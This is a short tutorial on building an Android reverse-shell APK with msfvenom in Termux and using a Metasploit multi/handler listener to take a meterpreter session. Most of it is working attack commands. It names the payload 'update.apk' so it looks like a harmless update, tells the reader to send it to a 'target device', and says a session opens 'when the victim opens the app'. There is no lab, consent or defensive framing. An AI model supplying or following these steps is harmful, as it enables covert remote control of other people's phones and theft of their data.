How to Create an Android Payload (APK) using Metasploit in Termux

A complete tutorial on generating a reverse shell APK using msfvenom and setting up a listener to control it.

1. Find your Local IP Address Before creating the payload, you need to know your internal IP. Open a new session and type:

ifconfig

Look for the address under wlan0 (usually looks like 192.168.1.x).

2. Generate the APK Use msfvenom to create the malicious file. Replace with the IP you found above.

msfvenom -p android/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -o /sdcard/update.apk
This saves the file update.apk to your internal storage. Send this file to the target device and install it.

3. Start the Listener Now you need to wait for the connection. Open Metasploit:

msfconsole
Then run these commands one by one:

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT 4444
exploit

When the victim opens the app, you will get a meterpreter session.